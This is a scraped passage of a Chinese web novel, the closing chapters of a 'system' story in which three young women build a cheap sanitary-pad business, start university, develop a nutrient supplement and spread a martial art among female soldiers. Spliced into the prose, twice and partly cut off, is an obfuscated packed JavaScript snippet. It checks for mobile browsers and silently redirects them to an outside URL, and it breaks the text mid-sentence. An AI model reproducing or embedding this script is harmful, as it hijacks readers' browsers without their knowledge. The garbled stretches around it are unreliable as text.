开播之前先测试，艾莉用量杯接了五十毫升水，倒在薄薄的卫生巾上。 在她的想象中，卫生巾接不住这二十毫升的清水。 事实却与她的想象相反，水和卫生巾接触，水立刻被吸收，吸收速度很快，几乎在接触的瞬间水就消失了，薄薄的卫生巾因此膨胀了一点。她伸手按压湿润处，能感觉到一点水渍，可这点水渍很快被卫生巾吸收。 表妹诧异：“姐？” 艾莉又接了五十毫升清水，卫生巾也吸收了，其表现超乎寻常。 表妹忍不住拿起卫生巾挤了挤，一滴水也没有挤出来，她不由得惊叹：“这技术含量未免太高了！姐，我想用这种卫生巾！” “你去搞点鸡血来。”艾莉深呼吸，“再试试。” 鸡血倒在卫生巾表面，吸收得比清水更快，就连些许凝固的血块都没有留下。 “原来她没自夸。”艾莉拿起“为她好”卫生巾，上网查厂家老板，发现这是一家刚成立不久的厂，注册了好几项专利，老板名下还有房地产公司。 艾莉吩咐道：“立刻开播，我要抢先推广这个卫生巾！” “姐，这个卫生巾三毛钱一片！”表妹尖叫，“卖得好便宜！” “三毛？”艾莉也吃了一惊，“不是三块钱一片？标价是不是标错了？” “打电话问问？”表妹建议。 “还是问一下吧，免得弄错了。”艾莉亲自打电话，得知卫生巾定价确实三毛一片，深感震撼。 三毛钱能卖出去吗？ 那些售价一块多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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这个热搜是“为她好”出钱买的，艾莉为“为她好”赌上职业生涯，“为她好”怎么能没有一点儿表示？ 吃瓜群众涌入艾莉直播间，“为她好”的老板陆鸿被人扒出来，作为优秀女性企业家进入许多女性网民的视野。 姑且不论热搜产生的影响是好是坏，艾莉迅速红了一把，“为她好”网店里预售的卫生巾全部清空。 在正式销售当天，艾莉又一次上了热搜，无数吃瓜网友等着看她笑话。商家发货，当日收到快递的网友直播开箱，艾莉取得同意后转播，结果可想而知。开箱试验的网友被卫生巾的柔软度和吸收率震惊，乃至于围观群众怀疑她是艾莉或厂家找的托，配合艾莉演戏欺骗群众。 对此，艾莉笑着说：“如果她是我找的演员，以她这专业专业，请她演戏我不得花几千上万块。” 开箱网友很冤枉：“不是托，真不是，我没收钱，你们收货了就知道了，这种高科技卫生巾真的能轰动世界！讲真的，要不是专业不合适，我都想找陆老板自荐当员工了。” 能当天发货当天收到，这位网友生活的城市距离厂家很近。 直播开箱的网友不止她，还有别人。 所有用过“为她好”卫生巾的人，无论她们之前怎么看这种高科技卫生巾，现在都发自内心地感叹：真香！ 于是，许多不信邪的网友下单购买“为她好”卫生巾，声称破解骗局。 然后，真香的人更多了。 “为她好”网店每次上货，都会迅速售罄。 无数商务合作就像纷纷扬扬的雪花飞向老板陆鸿，大把人挥舞着钞票要投资她，更多人试图买断高科技卫生巾的生产技术、许下高薪要挖走技术人才。 而卫生巾大小厂商们拿着样品偷偷研究，一边尝试复刻“为她好”高科技卫生巾，一边要求陆鸿遵守行业规矩，要一起涨价一起赚钱，总之卫生巾定价不能低…… 陆鸿太忙了。 饶是她白手起家创下不小身家，也被眼下这境遇搞得有些左支右绌，索性把崔皓月三人叫回来帮忙干活。 75.大学 对陆鸿来说，钱是赚不完的，可她不想放过赚钱的机会。她有预感，只要她和崔皓月保持友好的合作，“为她好”将会成为全球月经用品生产行业的超级巨头。 为何她会叫崔皓月等人回来帮她的忙…… 当自己忙得三餐不规律，就连睡觉时做梦都在想着处理商务，她见不得女儿和朋友们吃喝玩乐。 厂里，陆鸿的办公室，陆晨曦懒洋洋地坐在沙发上，对陆鸿说道：“老板，请我干活要给钱，我要的也不多，分点股份吧。” 崔皓月没有插手工厂事务的想法，表明态度：“我有我自己的事情要做，没空帮忙。” 既没有技术也没有关系的晏北回看了看两位优秀的朋友，又看了看老板陆鸿，认真地说：“老板有需要我的地方，我很愿意帮忙，如果报酬合适的话。” 实际上，陆鸿还没缺人到需要她们参与的程度，可她既是老板，还是一位长辈。她对三个年轻人说：“我以长辈的身份送你们每人百分之一分红。皓月想做什么事自己决定，有需要就直说，别跟我客气。至于晨曦和北回，你们俩拿了分红，要听从我的安排。可以吗？” 崔皓月没有异议。 她已经意识到，她对做生意赚钱不感兴趣，不如把时间和精力用在学习和钻研上。 陆晨曦现在是小有资产的富婆，“为她好”的百分之一分红很好，她要更多，因此她用女儿身份问陆鸿：“妈，‘为她好’需要投资吗？” “你有钱？”陆鸿挑眉。 女儿的账号里有多少钱她大致知道，但女儿投资理财赚了多少她不清楚，她感觉女儿应该赚了一点钱，不然不会用这样自信的语气跟她说话。 办公室里都是自己人，陆晨曦环视一圈，得意洋洋地说：“也没多少，但几个亿我还是拿得出的。” 依靠红X相助，她赚的五百万已经变成几个亿。 就算是她妈这种成功商人，也不能这么轻松地赚到几个亿。 她，陆晨曦，陆鸿的亲生女儿，赚钱能力青出于蓝而胜于蓝，陆鸿作为她妈妈，可以为她的出色感到骄傲了。 “几个亿？”晏北回顿时大吃一惊，不可思议地看着得意的陆晨曦，“快告诉我，你在跟我们开玩笑！” “玩笑？怎么可能，我手上确实有几个亿。”陆晨曦骄傲地昂头，“我买基金、炒股赚的钱，风险大，收益也大。” “你也太会赚钱了吧？”几个亿不是什么小数目，崔皓月不平静了，抓住好朋友，“晨曦，我需要你投资我做研究！” “要多少投资？”陆晨曦不徇私，笑嘻嘻地说，“你在研究什么神奇项目？给我计划书，让我知道投资你会有多少收益，多久能产生收益。” “不想出钱就让我来。”陆鸿推开陆晨曦，向崔皓月递出名片，“你好，无论你在研究什么项目，我都愿意无条件投资你五百万。” 高科技卫生巾珠玉在前，陆鸿相信崔皓月的研究能力。 就算无条件投资的五百万没有收益，她也愿意继续投资崔皓月。 没想到妈妈竟然那么看重自己的好朋友，陆晨曦立刻说：“要不我投资你吧，皓月！我不投资‘为她好’了，反正我妈厉害得很，不缺我这几个亿的投资。” 被母女俩争夺，崔皓月无奈：“索性你们一起投资我算了。” “喂！”晏北回很有意见，“能不能不要在我面前炫？这房间里就我一个普通人，你们好歹尊重一下我，我不想看你们炫富。” 陆晨曦哈哈大笑：“借你一百万，你要不要？如果你需要钱，跟着我理财，我带你赚钱。” 听，这说借就借的口吻，仿佛一百万是一百元。 贫穷的晏北回被炫了一脸，犹犹豫豫：“带我赚钱能保证不赔吗？借我钱，你打算收我多少利息？什么时候要我还钱？” “你和皓月，我都借一百万。”陆晨曦阔气地说，“没有稳赚不赔的买卖，如果你们能信任我，我保证到最后能赚，至于赚到多少，这要看运气。” 一百万啊！不是一百元！ 晏北回不是很敢借，可陆晨曦这么大方，她作为好朋友，不能不给陆晨曦面子…… 这样想着，她看向崔皓月：“你借吗？” 崔皓月抿了抿唇：“晨曦愿意，那就借吧。” 晏北回：“……” 姐们胆子真大，一个敢借钱给别人，一个敢借别人钱。 考虑再三，晏北回想到“为她好”的百分之一分红，胆子也大起来，毕竟自己不是完全没底气，她说：“我也借！要是亏了，大不了把百分之一分红给你！” “你不怕我故意亏了，把你的分红搞到手里？”陆晨曦开玩笑。 “分红是你妈给的，你搞了去我其实没亏。”晏北回看得开，“况且，晨曦，我信任你，你不是那种人。” 陆晨曦那么骄傲的一个人，怎会骗她这个穷人的钱？ 在晏北回看来，陆晨曦不屑于行骗。 于是，陆晨曦分别借了一百万本金给两个好朋友，代她们用一百万理财，闲暇时传授她们一些理财的小技巧。 “为她好”月经用品爆火全网，工厂收到的订单堆积成山，正在扩大生产，陆鸿缺乏信得过的人手。除了埋头研究营养剂的崔皓月，她安排陆晨曦和晏北回分担工作，教她们处理各种各样的事情。 眨眼间九月来临，开学了。 陆鸿定了机票送三个年轻人离开，继续忙碌月经用品生产销售事宜，她要击败各个高价售卖卫生巾的厂家，让“为她好”成为行业巨头。 大学在京城，崔皓月虽然来过京城一次，爬了长城，游览了故宫，参观了升旗仪式，但京城在她心中依然蒙着一层高大上的滤镜。 京城是陌生的，她和两位好朋友下了飞机，呼吸着京城的空气，不太习惯这里的干燥。 “我们先去北回的大学，一起缴费，帮忙收拾好床铺。”陆晨曦看手机，“我叫的车已经到了，司机是干活的帮手，收了酬金的，不要跟她客气。” “嗯。”晏北回点头，在微信上告诉妈妈，“我下飞机了，现在在京城的机场里。” 三人拖着行李箱，很快找到身材五大三粗的司机，对方单手拎着一个行李箱，另一只手把第二个行李箱放到肩上扛着，行走颇为从容，并没有很吃力。 崔皓月一眼看出对方的底细，小声问陆晨曦：“你姨姨的朋友？” 这位司机接触过武道，估计是陆昀传授的。 陆晨曦点头：“她跟我姨姨一起入伍，后来退伍了。” 司机开的是面包车，先去晏北回的大学，崔皓月二人陪晏北回缴费，司机已经把行李搬到宿舍里。 宿舍是四人间，两位舍友早到，一个高一个壮，三个好朋友进来的时候，她俩正在讨论‘为她好’卫生巾。 “为她好真有那么好用？” “对，我就在网上买过一次，一包三块钱，里面有十片，超便宜，超好用！后来我想买，可惜买不到，总是抢不过别人。” “二手市场能买到，我看了一下，一包炒到一百元，简直贵得离谱！” “其实定价高一点我可以接受，老板定价太低了，我担心‘为她好’倒闭。” 老板的女儿陆晨曦扬起手，大大方方地朝她们打招呼：“你们好，我是陆晨曦，这是我的朋友崔皓月，这位则是你们的未来舍友晏北回，她也是我最好的朋友。” 两位舍友恍然，看着晏北回：“哦，你才是新生。” 晏北回礼貌地笑了笑，打量着两位舍友：“嗯，我朋友陪我来学校报到。” “本地人吗？”高个舍友问陆晨曦。 “不是，我们一起高考，一起来京城读书。”陆晨曦微微扬起下巴，为三人的友谊自豪，“北回没什么住校经验，还是南方人，也许你们可以给她一点指点。” “你看起来像本地人。”壮实舍友说，“你们感情不错啊……” 她们看起来不像是难相处的人，晏北回三人收拾床铺，她们也搭了把手，还跟崔皓月、陆晨曦互换联系方式。 陆晨曦不差钱，请她们喝奶茶作为感谢，跟两个好朋友去崔皓月就读的大学。 跟多年走读的晏北回相比，崔皓月从四年级开始住学校宿舍，无论是缴费还是收拾宿舍的床铺，她都不需要陪伴。不过，两位好朋友的热情相助，她如何忍心拒绝？ 于是，崔皓月在好朋友的帮忙下完成了入学。 见到跟家长一起来宿舍的新舍友，她感觉奇妙，自己尽管得不到父母的爱，但她并不孤单，她也有人撑腰——陆晨曦和晏北回，都是能让她依靠的人。 东西放好，陆晨曦说：“该去我的学校了！晚饭是在我学校的食堂吃，还是在我学校周边找吃的？或者，我们点个外卖吃？” “食堂会好 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“谁有资格让你不自信？”陆晨曦开导她，“我和皓月有多优秀你是知道的，你跟我们交流的时候，可没有表现得低人一等。不自信就多想想我们，多对比一下，别人有我们聪明吗？别人有我们能打吗？别人有我们这么富吗？没有，那就别拽！” 不愧是陆晨曦，时刻散发着蔑视庸人的傲慢气息，晏北回失笑，回道：“明白了！我遇到解决不了的事情，一定会寻求你们的帮助！” 遥远的京城，离家数千里，父母不在这，亲戚不在这，可两个好朋友在这里。 听着舍友的京城口音，晏北回鼓起勇气说道：“我是南方人，不熟悉北方，不熟悉京城，生活上有很多不懂的东西，请多多指教！” 京城本地人舍友看向她，态度友好：“我也没去过南方，那里夏天是不是非常热？” “感觉没有京城热，毕竟近海，时不时刮台风。”晏北回心下稍安，跟舍友聊起天，“宿舍冬天应该有暖气吧？我怕冷，冬天的衣服没带，打算在京城买……” 与此同时，崔皓月正拿着衣服去澡堂洗澡。 第一次来澡堂，她有些忐忑，可澡堂不是龙潭虎穴，她很快便洗完澡，面色如常地离开。 她的宿舍也是四人间，有洗衣机，舍友的衣服已经放进去洗，她要排队。不过，不用自己洗衣服，崔皓月很满意。 用过洗衣机，她再也不想手洗衣服。 三位舍友都在宿舍，招呼她道：“我们商量好了，洗衣机可以一起洗衣服，但只能洗衣服，不能把袜子、内衣裤等东西都扔进去，你有没有意见？” “被子能洗吗？”崔皓月喜欢晒过阳光的被子。 “能，洗之前要说一声。” 崔皓月没有意见，手洗内衣裤和袜子不麻烦，她可以接受。 大学生活就这样开始，舍友是普通女孩，用对待高三舍友的态度跟她们相处即可，能交朋友则交，不能交崔皓月不会强求。 学习的知识于她而言不算难，她可以保持不错的成绩，并有足够的时间研究营养剂。而陆晨曦承诺的投资，在她生日那天交到她手里，她已经在陆晨曦的陪同下与学校交涉妥当，取得相关实验室的使用权。 大学教授也需要金钱生活，得知崔皓月这个大一新生的研究竟然得到丰厚投资，人们好奇她的研究项目，许多相关领域的教授向她递出橄榄枝，想做她的导师。 根据光脑提供的情报，崔皓月大致看过教授们的过往经历，选了一位稳重精明的女性教授作为导师。自学高深知识有些吃力，她需要导师的悉心指点，才能更快地将初级营养剂制作出来。 终于，在十月下旬，崔皓月和导师一起制成第一支初级营养剂，它能为青春期女孩补充需要的各种营养元素，让女孩更加接近应有的身高。 此时的崔皓月，身高接近一米七，依然每天晨跑，每日饮用一支初级营养补充剂，个子仍在增长。 她打开系统的属性信息面板，力量、敏捷、体质和智力这四项属性，她都达到12点，是一年前的两倍多。她触发的生活事件少了，特殊事件的触发频率和从前一样，系统越来越像一段辅助程序，而不是她人生的指引者。 “我的人生称得上璀璨吗？”崔皓月默默地问自己，在心里回答，“当然，即使我离开系统，我的人生也不会回到灰暗的过去，我将走向光辉灿烂的未来！” 76.完结 在实验室里制出的营养剂并不能立刻大批量生产销售，还要进行严格的测试，确保其安全无害，才能考虑上市。不过，测试、上市均与崔皓月无关，她需要改进自己制作的营养剂，让它更接近系统商店出售的初级营养补充剂。 “皓月，你怎么会选应用物理专业？”导师跟她相处了一段时间，对她也算有些了解，很不明白她的选择，“你研究的营养剂跟应用物理专业基本没什么关系吧？” “因为我想选。”崔皓月回答，“研究营养剂是因为我想研究，跟我选的专业无关。” 想研究所以用心研究，然后真的研究出成果，而且是意义巨大的成果。想到自己比崔皓月年长二十岁，研究的东西竟然比不上营养剂，导师不由得沉默了。 世上真的有天才，其能力超出常人想象。 营养剂的安全测试由导师负责，其门生打下手。 崔皓月完全不了解这方面的知识，好奇之下站在一边观察，却惊讶地发现，她们更喜欢用雄性动物进行实验，雌性实验动物占比仅有三成。 对此，师姐解释道：“一般认为雄性动物激素分泌比雌性稳定，所以动物实验倾向于使用雄性动物。我们导师也好奇实验动物的性别是否影响实验结果，特地进行过测试，结果雌性动物的激素分泌其实和雄性差不多，所以我们实验室的实验动物雌雄性别比是3：7。” 另一位年轻师姐疑惑：“为什么不是5：5？” 年长师姐说：“在别的实验室，雌雄实验动物的性别比是1：5.5，我们已经好很多了。” 1：5.5！ 这也太离谱了！ 崔皓月忽然想起，很多药物的说明书都会写一句话：孕产妇慎用。显然，药物生产者在进行药物测试时刻意避开孕产妇，他们到底是不耐烦进行详细的测试，还是考虑到孕产妇的安全，不用孕产妇进行药物测试？ 除此之外，崔皓月还想到桌子、椅子的高度，以及汽车安全带的尺寸、手机挂脖绳的长度，它们无一例外都默认男性作为使用者。 女性的需求从来不在考虑范围内。 但，她是一个女人。 崔皓月明明白白地说：“别用雄性动物进行实验，我研究的营养剂仅面向女性，我没考虑过男性。” “这……”导师为难了，“不用雄性动物进行实验恐怕很难通过安全检测。” 她们确实可以不考虑男性，但是有关部门要求她们必须考虑，因为安全标准是以男性作为测试模板的。 营养剂要上市，就得向顽固的现实妥协。 这是崔皓月和系统难以改变的，毕竟位高权重者男性居多，女性寥寥。 在三人小群，崔皓月公开自己的实验室见闻。 晏北回：“世界好荒诞。从前我像是生活在别人编织的巨大谎言中，当我睁开眼睛看到真实的世界，它如同狰狞恐怖的怪物，随时会将我吞噬。” 陆晨曦：“你会后悔醒来吗？” 晏北回：“醒来很痛苦，很难过，我对此感到抑郁。可是我不会后悔醒来，我只后悔我没有早一点醒来。” 陆晨曦：“北回，欢迎来到真实的世界。[欢迎][拥抱]” 晏北回：“[哭笑]晨曦、皓月，我们真的能改变这个世界吗？我想我需要一点鼓励。” 崔皓月：“怎么不能？我来到实验室，我改变实验动物的雌雄性别比。我研究营养剂，以后女孩会长得更高。我们推广高科技月经用品，每个女人月经期间会更舒适。” 陆晨曦：“对，做你力所能及之事，你就在改变这个世界。” 晏北回依然抑郁，她们那么微小，世界却那么大，她难以接受残酷的真实世界。可她要活着，她无法离开这个世界，只能接纳它，改变它。 秋意渐浓，京城的枫树红了，银杏黄了，这是她们生活的南方见不到的景色。不过，崔皓月在实验室忙碌，晏北回无暇关注外界景色，只有陆晨曦拍了照片放在群聊里招呼两位好朋友欣赏。 她邀请两位好朋友：“是时候休息一下了，你们俩周末必须有空，然后我们一起去看京城的风景，吃点好吃的。” 崔皓月不太情愿外出，不过劳逸结合更利于生活。 在她们游玩时，一种治疗痛经的新药登上热搜，研究新药的正是被崔皓月赠送知识的一位教授。 与此同时，陆晨曦的姨姨陆昀秘密来到京城，将武道上交给国家。 她天赋异禀，已经练出了内劲，希望国家支持她在军队中传授神奇的武道。 见识到内劲的强悍，国家大为震动，立刻安排十个男兵向她学习武道。陆昀瞥了一眼男兵们，面露难色：“武道由我创造（崔皓月已经同意她认下武道），恐怕不适合男性学习。” 领导表示怀疑：“你是人，他们也是人，他们怎么学不了？” 话虽如此，领导还是叫来十个女兵，一起跟陆昀学习。 正如陆昀说的一样，女性学习武道没有任何不适，男性学习者纷纷出现各种不良反应，最严重的一个甚至被送进急救室抢救。 武道这么强，竟然不适合男性！ 领导的脸色非常难看：“你能发明武道，把武道改进一下不难吧？至少不能让男性学习者出现这么严重的不良反应。” “我不是男人，无法模拟男性学习武道的感受，怎么改进？”虽然自称创建了武道，可陆昀很清楚，自己只是冒名顶替，她分外诚恳地说，“还是叫几个男专家来研究吧。” 武道引起了重视，由于它仅适合女性学习，迟迟没有得到陆昀想要的推广。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14913877|152137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 陆昀被留在京城里，或主动或被动地参与有关部门对武道的研究。 光脑将她的情况告知崔皓月，问：“需要提供帮助吗？” 事情陷入胶着，没有任何进展，当然要外力介入。崔皓月说：“给她一点帮助。” 政治斗争进行的无声无息，陆昀都不知道发生了什么事，反正一夜之间，她换了一个领导，这位领导比下台那位开明，支持武道推广。 2026年夏，华国军队内部进行了一次看似寻常的体检，一些女兵被传授了武道，开始日复一日的练习。 很快，军队里出现第二个内劲高手，紧接着是第三个、第四个……她们被编入一支特殊部队，为国家执行危险的特殊任务。 陆昀成为这支特殊部队的管理者。 看着任务清单，她意识到，新领导推广武道是为了获得一把锋利的刀。他不尊重她们，只是把她们当成消耗品。 就在这时，陆昀收到一封邮件，署名是红X。 她看完邮件，认为指望别人不如指望自己，于是新领导因为以权谋私下台，陆昀又有了一位新领导。 2026年秋，面向青春期女孩的营养剂上架销售，十元一支，有点贵，但是崔皓月和导师暂时没有办法将成本压到更低。 2027年秋，“为她好”成为上市企业，其产品出现在各个超市卫生巾区域的显眼位置，依然抢手，才上架就售罄。 2027年春，华国所有学校都对学生进行了一次体检，武道这个概念进入公众视野。 在后世，这一年被称作武道元年。 眨眼间十年过去，三毛一片的“为她好”月经用品变得寻常起来，人们想买的时候随时有货。其它卫生巾销声匿迹，它们又贵又不好用，已经被市场淘汰。 武道刚被公开，人们在光脑的辅助下学习武道，掌握内劲的女人不多见，却也不少。 崔皓月已经功成名就，陆晨曦进入权力中心，晏北回也在朝着权力中心努力。徐凌波过着普通的生活，徐景星离婚十多年，独自抚养女儿徐梦蝶，她们都有光明的未来。 【使用者崔皓月，恭喜你，你已经拥有你想要的璀璨人生】 【你是否愿意为本系统的其她使用者提供恰到好处的指点和帮助？】 获得系统已有十三年，崔皓月回首过去，感慨颇多。 面对系统的询问，她平静地回答：“我很愿意。” 【是，正在探索新位面……】 【叮！系统找到新位面，正在搜寻合适的使用者……】 【叮！找到102676位符合条件潜在使用者，正在筛选……】 在另一个时空，一位与徐婷婷相似的女孩成为璀璨人生系统的正式使用者，她的人生、她的世界将因此改变。